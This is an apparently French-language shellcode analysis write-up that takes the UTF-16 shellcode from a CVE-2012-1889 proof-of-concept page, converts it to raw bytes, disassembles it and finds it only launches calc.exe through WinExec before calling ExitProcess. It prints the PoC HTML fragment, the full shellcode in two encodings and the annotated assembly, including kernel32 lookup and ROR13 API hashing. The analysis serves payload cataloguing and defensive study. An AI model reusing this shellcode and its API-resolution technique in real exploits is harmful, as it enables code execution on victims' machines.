I. Introduction
Nous effectuons une recherche de source nouvelle source de
shellcode encodé en UTF16 pour teste la mise à jour de classe de base de
transcription de format.
Nous somme tombé sur site https://a2ir.github.io/2017/04/22/cve-2012-1889/
Ce qui m'a attire été la possibilité d'étendre rapidement
un référentielle de shellcode au format
\uXXXX pour des travaux sur la partie pdf et la mise à jour d'identifiant
caractérisant un classification de pdf
pour cibles des documents avec taux malveillance plus important.
II. Le shellcode
Sur le site en question est présent un shellcode au format
UTF16 comme la baslise <script>
ne contient pas le type (<script type="text/javascript">..</script> )
Si cet attribut est absent, le script est interprété comme
du JavaScript.
Dans le cas de l'exemple c'est donc du code JavaScript et l'écriture UTF16 d'un shellcode
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
// [ Shellcode ]
var shellcode = "\u96E9\u0000\u5600\uC931\u8B64\u3071\u768B
\u8B0C\u1C76\u468B\u8B08\u207E\u368B\u3966\u184F\uF275\uC35E\u8B60\u246C\u8B24\u3C45\u548B \u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u37E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0A74
\uCFC1\u010D\uE9C7\uFFF1\uFFFF\u7C3B\u2824\uDE75\u5A8B\u0124\u66EB\u0C8B\u8B4B\u1C5A\uEB01
\u048B\u018B\u89E8\u2444\u611C\uADC3\u5250\uA7E8\uFFFF\u89FF\u8107\u08C4\u0000\u8100\u04C7
\u0000\u3900\u75CE\uC3E6\u19E8\u0000\u9800\u8AFE\u7E0E\uE2D8\u8173\u08EC\u0000\u8900\uE8E5
\uFF5D\uFFFF\uC289\uE2EB\u8D5E\u047D\uF189\uC181\u0008\u0000\uB6E8\uFFFF\uEBFF\u5B0E\uC031
\u5350\u55FF\u3104\u50C0\u55FF\uE808\uFFED\uFFFF\u6163\u636C\u652E\u6578\u0000";
// [ ROP Chain ]
|
Nous avons intégré ce shellcode au format UTF16 (
Javascript) dans l'un de nos anciens outils
de conversions UTF16 - Shellcode.
Intérêt est surtout d'avoir une base d'exemple sous la main
lorsque fait de l'analyse.
Lorsque la base est assez grande de rechercher. Cela
permet de rapidement caractérisé, si
l'élément n'est pas un déjà identique à un exemple étudié ou proche avec un
pourcentage d'opcode de la base associé
Comme vous pouvez le voir sur la capture en dessous
L'intérêt de l'outil est de pouvoir gérer le deux formats
%uXXXX ou \uXXXX et de passer en son format shellcode ou inversement. Tous en
permettant une modification directement dans la zone de travail.
Lorsque l'on bascule en mode "Shellcode", nous
obtenons le shellcode.
Dont voici le listing obtenu en dessous:
\xE9\x96\x00\x00\x00\x56\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B
\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39\x4F\x18\x75\xF2
\x5E\xC3\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA
\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x37\x49\x8B\x34\x8B\x01\xEE
\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x0A\xC1\xCF\x0D\x01\xC7\xE9
\xF1\xFF\xFF\xFF\x3B\x7C\x24\x28\x75\xDE\x8B\x5A\x24\x01\xEB\x66
\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24
\x1C\x61\xC3\xAD\x50\x52\xE8\xA7\xFF\xFF\xFF\x89\x07\x81\xC4\x08
\x00\x00\x00\x81\xC7\x04\x00\x00\x00\x39\xCE\x75\xE6\xC3\xE8\x19
\x00\x00\x00\x98\xFE\x8A\x0E\x7E\xD8\xE2\x73\x81\xEC\x08\x00\x00
\x00\x89\xE5\xE8\x5D\xFF\xFF\xFF\x89\xC2\xEB\xE2\x5E\x8D\x7D\x04
\x89\xF1\x81\xC1\x08\x00\x00\x00\xE8\xB6\xFF\xFF\xFF\xEB\x0E\x5B
\x31\xC0\x50\x53\xFF\x55\x04\x31\xC0\x50\xFF\x55\x08\xE8\xED\xFF
\xFF\xFF\x63\x61\x6C\x63\x2E\x65\x78\x65\x00\x00
|
En suite nous avons fait une l'analyse rapide en le
passant dans notre outils d'analyse de shellcode X32. l'avantage et qui ressort
les blocs déjà référencé et les Hashs classique ou commun des shellcodes.
Nous avons basculer en mode Assembleur le shellcode
inséré.
En basculant en mode "Diagram", on identifie tous
les signatures connue de bloc et Hash pouvant exister référencé lors des
différentes analyse. cela permet une analyse plus rapide du shellcode et voir
s'il a un intérêt ou de ce concentrer sur des blocs pas connue.
Nous mettons le listing obtenu en dessous
00000000: E9 96 00 00 00 JMP 00000096h (+96h ->:0000009B)
00000005
-> 00000021: => HMODULE
__declspec(naked) AsmFindKernel32BaseV29(void)
00000022
-> 00000072: => DWORD
__declspec(naked) GetProcAddressByHashRor13AdditiveV12(HMODULE hMod,DWORD
dwHash)
00000073: AD LODSD
(Loads DS:[SI](ESI for LODSD) val into AL,AX,EAX and inc SI)
00000074: 50 PUSH
EAX
00000075: 52 PUSH
EDX
00000076: E8 A7 FF FF FF CALL FFFFFFA7h (-59h ->:00000022)
0000007B: 89 07 MOV
DWORD PTR[EDI],EAX
0000007D: 81 C4 08 00 00 00 ADD ESP,0x00000008
00000083: 81 C7 04 00 00 00 ADD EDI,00000004h
00000089: 39 CE CMP
ESI,ECX
0000008B: 75 E6 JNZ
E6h (rel8)(-1Ah ->:00000073)
0000008D: C3 RET
0000008E: E8 19 00 00 00 CALL 00000019h (+19h ->:000000AC)
db
(0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
00000093: 98 FE 8A 0E
db
(73E2D87E=Hash[ROR13(Additive)]('ExitProcess'))
00000097: 7E D8 E2 73
0000009B: 81 EC 08 00 00 00 SUB ESP,0x00000008
000000A1: 89 E5 MOV
EBP,ESP
000000A3: E8 5D FF FF FF CALL FFFFFF5Dh (-A3h ->:00000005)
000000A8: 89 C2 MOV
EDX,EAX
000000AA: EB E2 JMP
E2h (-1Eh ->:0000008E)
000000AC: 5E POP
ESI
000000AD: 8D 7D 04 LEA
EDI,[EBP+04h]
000000B0: 89 F1 MOV
ECX,ESI
000000B2: 81 C1 08 00 00 00 ADD ECX,0x00000008
000000B8: E8 B6 FF FF FF CALL FFFFFFB6h (-4Ah ->:00000073)
000000BD: EB 0E JMP
0Eh +0Eh ->:000000CD)
000000BF: 5B POP
EBX
000000C0: 31 C0 XOR
EAX,EAX
000000C2: 50 PUSH
EAX
000000C3: 53 PUSH
EBX
000000C4: FF 55 04 CALL
DWORD PTR [EBP+04h]
000000C7: 31 C0 XOR
EAX,EAX
000000C9: 50 PUSH
EAX
000000CA: FF 55 08 CALL
DWORD PTR [EBP+08h]
000000CD: E8 ED FF FF FF CALL FFFFFFEDh (-13h ->:000000BF)
000000D2
-> 000000DA: db 'calc.exe',00h
|
III. Analyse du bloc ciblé
Au vu du code obtenu, il est assez simple de voir que l'on
crée un tableau contenant deux hash
et via la fonction
appeler ont lui passe l'adresse départ contenu dans ESI et l'adresse de fin via ECX ( ESI + 4 * 2
) ( Un DWORD prend 4 octets )
000000B0: 89 F1 MOV
ECX,ESI
000000B2: 81 C1 08 00 00 00 ADD ECX,0x00000008
|
La ligne appelant la sous routine pour remplir la tableau
crée sur la pile avec la résolution des adresses d'API via le tableau de Hash
fournit
000000B8: E8 B6 FF FF FF CALL FFFFFFB6h (-4Ah ->:00000073)
|
Suite à cela les adresses EBP+04 contient l'adresse de l'API
'WinExec' et l'adresse EBP+08 contient l'adresse de l'API 'ExitProcess'
Après, il y a plus grand chose à dire des lignes qui
suivent:
000000BD: EB 0E JMP
0Eh +0Eh ->:000000CD)
000000BF: 5B POP
EBX
000000C0: 31 C0 XOR
EAX,EAX
000000C2: 50 PUSH
EAX
000000C3: 53 PUSH
EBX
000000C4: FF 55 04 CALL
DWORD PTR [EBP+04h]
000000C7: 31 C0 XOR
EAX,EAX
000000C9: 50 PUSH
EAX
000000CA: FF 55 08 CALL
DWORD PTR [EBP+08h]
000000CD: E8 ED FF FF FF CALL FFFFFFEDh (-13h ->:000000BF)
000000D2
-> 000000DA: db 'calc.exe',00h
|
Etant tous simplement l'appel suivant:
WinExec("calc.exe",0);
ExitProcess(0);
Nous avons testé rapidement ce shellcode dans notre vielle
outil de création de shellcode WinExec pour effectué une exécution du code.
Nous avons appuyé sur le bouton "Run" est sans
surprise une calculatrice est apparue et notre programme exécutant le shellcode,
c'est ferme lié au "ExitProcess(0)".
Maintenant, nous savons a quoi sert ce code, il ne fait
qu'un simple lancement du processus. On voulez pas rester sur cette impasse de
recherche
Etant en soit un Shellcode sans grand intérêt comme dans
beaucoup de recherche.
IV. Autre axe de recherche
Maintenant, que l'on avez valider que ce shellcode ne nous
apporterait pas grand point intéressant. Avant l'abandonnée cette piste. Nous
avons voir si d'autre shellcode sur la même base était
Delà en cherchant la séquence de départ du shellcode au
travers d'internet
"\xE9\x96\x00\x00\x00\x56\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B"
On retrouve une source identique sur la même thématique
Donc a du déjà passer sur ce shellcode, pour cela nous
allons vérifier avec une outils intégrant une base de donnée à plat de fichier
".bin" utilisé comme référence pour faire des croisements de shellcode
Nous avons positionner le Shellcode dans la partie
"Shellcode" de notre outil
Nous avons lancé l'analyse pour voir si quelque chose
en sorté
Il ressort une référence ShellcodeX32_Ref0073_WinExecCalc.bin
Nous allons sélectionné ce shellcode dans l'outil et
regarder les références connue
En regardant de plus près les sites déjà tag, on voit que le
format des shellcodes et simplement écrit le tableau différemment pour une
majorité sous
'"0x56,
0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,..."
nous avons profité de intégré la référence de "https://a2ir.github.io/2017/04/22/cve-2012-1889/"
pour pu repasser sur ce site lors de prochaine recherche.
V. Conclusions
Nous espérons que ces quelques
lignes, vous ont permis de voir qu'il n'est pas si simple de trouver des
shellcodes sortant du lots dans la masse disponible du net. Et que l'on peu
vite revenir a un shellcode déjà étudié ou sans intérêt assez rapidement.
Il est assez important de consigné
les sites et les sources des shellcodes pour éviter de perdre un temps
important sur des shellcodes déjà connu ou qui sont simplement une n copies
d'un shellcode classique. Et utiliser un moyen rapide de valider si l'étude
vaut la peine ou non.
l'automatisation de ses taches vous fera économiser
beaucoup de temps.